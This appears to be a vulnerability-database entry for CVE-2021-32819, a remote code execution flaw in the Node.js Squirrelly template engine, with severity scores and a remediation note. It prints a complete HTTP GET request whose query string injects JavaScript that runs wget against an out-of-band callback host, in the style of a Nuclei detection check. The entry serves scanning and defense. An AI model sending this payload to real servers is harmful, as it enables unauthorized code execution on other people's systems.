🔙 목록으로 돌아가기

CVE-2021-32819: Nodejs Squirrelly - Remote Code Execution

TitleNodejs Squirrelly - Remote Code Execution
Authorpikpikcu
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
RemediationUpdate to the latest version of Nodejs Squirrelly template engine to mitigate the vulnerability.
CVSS Score8.8
EPSS Score0.88448
CVE IDCVE-2021-32819
CWE IDCWE-200,NVD-CWE-noinfo
Tags cve2021 cve nodejs rce oast squirrelly vkev vuln

🔍 Vulnerability Description

Nodejs Squirrelly is susceptible to remote code execution. Squirrelly is a template engine implemented in JavaScript that works out of the box with ExpressJS. Squirrelly mixes pure template data with engine configuration options through the Express render API. By overwriting internal configuration options remote code execution may be triggered in downstream applications. There is currently no fix for these issues as of the publication of this CVE. The latest version of squirrelly is currently 8.0.8. For complete details refer to the referenced GHSL-2021-023.

🌐 HTTP Request

GET /?Express=aaaa&autoEscape&defaultFilter=e%27);var+require=global.require+%7C%7C+global.process.mainModule.constructor._load;+require(%27child_process%27).exec(%27wget%20http://d5jnrc9le0o41333gpigsa8u7x4z6szx8.oast.pro%27);// HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-32819.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-32819.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A